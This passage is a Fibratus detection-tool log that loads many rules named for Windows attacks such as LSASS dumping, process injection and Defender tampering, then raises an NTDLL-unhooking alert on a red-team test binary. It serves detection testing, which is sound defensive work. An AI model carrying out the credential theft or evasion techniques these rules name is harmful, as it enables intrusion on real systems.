C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_ntdll_memory_unhooking.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:09:51+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-11T17:09:51+01:00 level=info msg=bootstrapping with pid 14844. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-11T17:09:51+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] mail=>[ port=>25 content-type=>text/html to=>[] enabled=>false use-template=>true] systray=>[ sound=>true enabled=>false quiet-mode=>false] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-images=>false serialize-pe=>false serialize-handles=>false serialize-threads=>false] + eventsource .................... [ enable-image=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-mem=>false enable-vamap=>true enable-fileio=>true enable-dns=>false stack-enrichment=>true min-buffers=>16 max-buffers=>36 buffer-size=>512 enable-net=>true enable-thread=>true enable-registry=>true enable-handle=>false enable-audit-api=>true flush-interval=>1s enable-threadpool=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true max-size=>100 max-age=>0 max-backups=>15 level=>info formatter=>text] + output ......................... [ console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ sniff=>false healthcheck-timeout=>5s flush-period=>1s servers=>[http://127.0.0.1:9200] trace-log=>false index-name=>fibratus template-name=>fibratus gzip-compression=>false timeout=>5s enabled=>false bulk-workers=>1 healthcheck-interval=>10s healthcheck=>true] amqp=>[ passive=>false exchange=>fibratus delivery-mode=>transient exchange-type=>topic routing-key=>fibratus timeout=>5s vhost=>/ tls-insecure-skip-verify=>false url=>amqp://localhost:5672 enabled=>false durable=>false] http=>[ serializer=>json tls-insecure-skip-verify=>false method=>POST enabled=>false endpoints=>[] timeout=>5s enable-gzip=>false]] + pe ............................. [ excluded-images=>[svchost.exe] read-symbols=>false read-sections=>false enabled=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false enabled=>false scan-timeout=>10s skip-files=>false excluded-files=>[] skip-allocs=>false fastscan=>true excluded-procs=>[] skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-11T17:09:52+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-11T17:09:55+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-11T17:10:05+01:00 level=info msg=sending alert: [Potential NTDLL memory unhooking]. Text: Event(s): + Seq: 2516798 + Pid: 9116 + Tid: 3840 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-11 17:09:58.7144613 +0100 CET + Params: base_address➜ 1b05ce30000, cert_issuer➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows Production PCA 2011, cert_not_after➜ 2026-02-18 19:52:58 +0000 UTC, cert_not_before➜ 2025-02-20 19:52:58 +0000 UTC, cert_serial➜ 33000004d77b1c1b187df5d1a60000000004d7, cert_subject➜ US, Washington, Redmond, Microsoft Corporation, Microsoft Windows, checksum➜ 2572841, default_address➜ 7ffd57240000, file_path➜ C:\Windows\System32\ntdll.dll, image_size➜ 2527232, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 9116, signature_level➜ AUTHENTICODE, signature_type➜ EMBEDDED + Metadata: tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, rule.seq.link: 9116, rule.name: Potential NTDLL memory unhooking, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005 + + Pid: 9116 + Ppid: 17996 + UUID: 1762877469570085788 + Name: main.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\module-stomping\main.exe" + Parent cmdline: powershell.exe -NoExit -Command "&{Import-Module """C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\Microsoft.VisualStudio.DevShell.dll"""; Enter-VsDevShell d384327e -SkipAutomaticLocation -DevCmdArguments """-arch=x64 -host_arch=x64"""}" + Exe: C:\Fibratus\redteam\module-stomping\main.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\module-stomping\main.exe"] + Session ID: 1 + Envs: map[] + + + + Seq: 2516369 + Pid: 9116 + Tid: 3840 + Type: SetThreadContext + CPU: 2 + Name: SetThreadContext + Category: thread + Description: Sets the thread context + Host: archrabbit + Timestamp: 2025-11-11 17:09:58.8041988 +0100 CET + Params: status➜ The handle is invalid + Metadata: rule.seq.link: 9116, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, rule.name: Potential NTDLL memory unhooking + + Pid: 9116 + Ppid: 17996 + UUID: 11651379566778917788 + Name: main.exe + Cmdline: + Exe: C:\Fibratus\redteam\module-stomping\main.exe + Cwd: + SID: + Integrity level: HIGH + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-11T17:10:25+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T17:10:26+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-11T17:10:26+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-11T17:11:00+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_ntdll_memory_unhooking.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-11T17:11:00+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + 